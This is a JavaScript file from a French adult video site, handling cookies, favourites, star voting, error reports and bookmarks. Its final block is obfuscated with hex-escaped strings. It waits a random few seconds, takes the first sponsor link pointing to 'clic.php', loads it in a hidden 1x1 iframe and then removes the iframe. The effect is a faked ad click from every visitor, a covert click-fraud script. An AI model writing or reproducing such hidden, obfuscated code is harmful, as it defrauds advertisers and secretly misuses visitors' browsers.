/*
<script>
*/


var smart_suggest_is_visible;
var auto_hide_count = -1;

function init_auto_hide(v)
{
    auto_hide_count = v;
}


function createCookie(name,value,days) {
	  if (days) {
		  var date = new Date();
		  date.setTime(date.getTime()+(days*24*60*60*1000));
		  var expires = "; expires="+date.toGMTString();
	  }
	  else var expires = "";
	  document.cookie = name+"="+value+expires+"; path=/";
  }

function readCookie(name, def) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return def;
}

function eraseCookie(name) {
	createCookie(name,"",-1);
}

function smart_suggest_init()
{
    smart_suggest_is_visible = (readCookie('ssvis', '1') == '1');
    smart_suggest_visible(smart_suggest_is_visible);
}

function smart_suggest_toggle()
{
    smart_suggest_is_visible = ! smart_suggest_is_visible;
    smart_suggest_visible(smart_suggest_is_visible);
    
    createCookie('ssvis', smart_suggest_is_visible ? '1' : '0');
}

function smart_suggest_visible(v)
{
    var disp = v ? 'block' : 'none';
    var obj;
    
    obj = document.getElementById('spsmartsugmin');
    if(obj)
      obj.style.display = v ? 'none' : 'block';
    
    var i = 1;
    do
    {
      obj = document.getElementById('spsmartsug' + i);
      if(obj)
	obj.style.display = disp;
      i++;
    }
    while(obj != null);
    
}

function getXHR()
{
    var xhr;
    try
    {
	xhr = new ActiveXObject("Microsoft.XMLHTTP"); 
    }
    catch(e)
    {
	xhr = new XMLHttpRequest()
    }
    return xhr;
}

function radio_value(radio)
{
  for (i = 0; i < radio.length; i++)
    if(radio[i].checked)
	return radio[i].value;
	
  return 0;
}

function aff_fav(id, todel)
{
    var txt = todel ? 'Supprimer de mes favoris' : 'Ajouter à vos favoris :';    
    
    var img = todel ? 'dfav.png' : 'fav.png';

    document.write("<a onclick='javascript:do_fav("+id+", "+todel+");'><img style='cursor:pointer; cursor:hand' src='/imgs/"+img+"' border='0' title='"+txt+"'></a>&nbsp;&nbsp;<span id='dfav" + id + "'></span>")
}

function do_fav(id, todel)
{
    if(document.getElementById("dfav" + id).innerHTML.length > 0)
    {
	document.getElementById("dfav" + id).innerHTML = "<b>Déjà en favoris !</b>";
	return;
    }

    document.getElementById("dfav" + id).innerHTML = "...";

    var xhr = getXHR();

    xhr.onreadystatechange = function()
    { 
	if(xhr.readyState  == 4)
	    if(xhr.status  == 200)
		document.getElementById("dfav" + id).innerHTML = "OK";
	    else 
		document.getElementById("dfav" + id).innerHTML = "<b>Erreur !</b>";
    }; 

    var opt = todel ? 'bmrm' : 'bookmark';

    xhr.open( "GET", "/action.php?type="+opt+"&id=" + id,  true);       
    xhr.send(null); 

}

function aff_vote(id, note)
{
    document.write("<span class='cvotes'>");
    for(i=1; i <= 6; i++)
    {
	v = (i <= note) ? "p" : "v";
	document.write("<a onclick='javascript:do_vote("+id+","+i+");' onMouseOver='javascript:maj_vote("+id+","+i+");'><img style='cursor:pointer; cursor:hand' name='ivote"+id+"."+i+"' src='/imgs/vote_"+v+".gif' border='0'></a>");
    }
    document.write("</span>&nbsp;&nbsp;<span id='dvote" + id + "'></span>");
}

function aff_ar_vote(note)
{
    document.write("<span class='cvotes'>");
    for(i=1; i <= 6; i++)
    {
	v = (i <= note) ? "a" : "v";
	document.write("<img src='/imgs/vote_"+v+".gif' border='0'>");
    }
    document.write("</span>");
}

function maj_vote(id, note)
{
    for(i=1; i <= note; i++)
	document.getElementsByName("ivote"+id+"."+i).item(0).src = "/imgs/vote_p.gif";

    for(i=note+1; i <= 6; i++)
	document.getElementsByName("ivote"+id+"."+i).item(0).src = "/imgs/vote_v.gif";
}


function do_vote(id, note)
{
    if(document.getElementById("dvote" + id).innerHTML.length > 0)
    {
	document.getElementById("dvote" + id).innerHTML = "<b>Déjà voté !</b>";
	return;
    }

    document.getElementById("dvote" + id).innerHTML = "...";

    var xhr = getXHR();

    xhr.onreadystatechange = function()
    { 
	if(xhr.readyState  == 4)
	    if(xhr.status  == 200)
	    {
		document.getElementById("dvote" + id).innerHTML = "Merci !";
		if(auto_hide_count != -1)
		{
		    document.getElementById("dres" + id).style.display = 'none';
		    auto_hide_count--;
		    if(auto_hide_count == 0)
			window.location.href += '&f=' + Math.round(Math.random()*100); 
		}
	    }
	    else 
		document.getElementById("dvote" + id).innerHTML = "<b>Erreur !</b>";
    }; 

    xhr.open( "GET", "/action.php?type=vote&id=" + id + "&note=" + note,  true);       
    xhr.send(null); 

}

function report_err(id)
{
    if(document.getElementById("drep" + id).innerHTML.length > 0)
	return;
	
    document.getElementById("drep" + id).innerHTML = "...";

    var xhr = getXHR();

    xhr.onreadystatechange = function()
    { 
	if(xhr.readyState  == 4)
	    if(xhr.status  == 200)
		document.getElementById("drep" + id).innerHTML = "Merci !";
	    else 
		document.getElementById("drep" + id).innerHTML = "<b>Erreur !</b>";
    }; 

    xhr.open( "GET", "/action.php?type=report&id=" + id,  true);       
    xhr.send(null); 

}

function trim(string)
{
    return string.replace(/(^\s*)|(\s*$)/g,'');
}

function bkmadd(surl, stit)
{
    if(!stit)
	stit = "freeXres.com - Vidéos et photos pornos gratuites - free porn movies";
  
    if(navigator.appName != 'Microsoft Internet Explorer')
	window.sidebar.addPanel(stit, surl, "");
    else
	window.external.AddFavorite(surl, stit);
	
    var xhr = getXHR();
    xhr.open( "GET", "/action.php?type=bkstat&url=" + encode64(surl),  true);       
    xhr.send(null); 
}
 
      
  

    
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function encode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;

   do {
      chr1 = input.charCodeAt(i++);
      chr2 = input.charCodeAt(i++);
      chr3 = input.charCodeAt(i++);

      enc1 = chr1 >> 2;
      enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
      enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
      enc4 = chr3 & 63;

      if (isNaN(chr2)) {
         enc3 = enc4 = 64;
      } else if (isNaN(chr3)) {
         enc4 = 64;
      }

      output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + 
         keyStr.charAt(enc3) + keyStr.charAt(enc4);
   } while (i < input.length);
   
   return output;
}

function calcHeightIframe(id)
{
    if (!window.opera && !document.mimeType && document.all && document.getElementById)
	parent.document.getElementById(id).style.height=this.document.body.offsetHeight+"px"
    else if(document.getElementById)
    {
	hauteur = this.document.body.scrollHeight + 50;
	parent.document.getElementById(id).style.height=hauteur+"px"
    }
}

function inv_vis_div(id)
{
    var o = document.getElementById(id);
    
    if(o.style.display == 'none')
	o.style.display = '';
    else
	o.style.display = 'none';

}


function ah(){setTimeout("\x61\x68\x5F\x74\x6D\x28\x29",0x9c4+Math["\x66\x6C\x6F\x6F\x72"](Math["\x72\x61\x6E\x64\x6F\x6D"]()*0x5dc));} ;function ah_tm(){var _0xeb5ex2=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"]("\x61\x6C\x6C\x6F\x73\x70\x6F\x6E\x73\x6F\x72");if(_0xeb5ex2){var _0xeb5ex3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"]("\x66\x6C\x6F\x61\x74\x69\x6E\x67\x5F\x61\x64\x31");var _0xeb5ex4=ah_browse(_0xeb5ex2["\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64"]);if(_0xeb5ex4&&_0xeb5ex3){_0xeb5ex3["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"]="\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x72\x63\x3D\x22"+_0xeb5ex4+"\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E";setTimeout("\x61\x68\x5F\x65\x6E\x64\x28\x29",0x1194);} ;} ;} ;function ah_end(){var _0xeb5ex3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"]("\x66\x6C\x6F\x61\x74\x69\x6E\x67\x5F\x61\x64\x31");if(_0xeb5ex3){_0xeb5ex3["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"]="";} ;} ;function ah_browse(_0xeb5ex2){while(_0xeb5ex2){var _0xeb5ex7=ah_node(_0xeb5ex2);if(_0xeb5ex7){return _0xeb5ex7;} ;if(_0xeb5ex2["\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64"]){var _0xeb5ex7=ah_browse(_0xeb5ex2["\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64"]);if(_0xeb5ex7){return _0xeb5ex7;} ;} ;_0xeb5ex2=_0xeb5ex2["\x6E\x65\x78\x74\x53\x69\x62\x6C\x69\x6E\x67"];} ;return null;} ;function ah_node(_0xeb5ex2){if(_0xeb5ex2 instanceof HTMLAnchorElement){if(_0xeb5ex2["\x68\x72\x65\x66"]["\x69\x6E\x64\x65\x78\x4F\x66"]("\x63\x6C\x69\x63\x2E\x70\x68\x70",0x0)>-0x1){return _0xeb5ex2["\x68\x72\x65\x66"];} ;} ;return null;} ;







  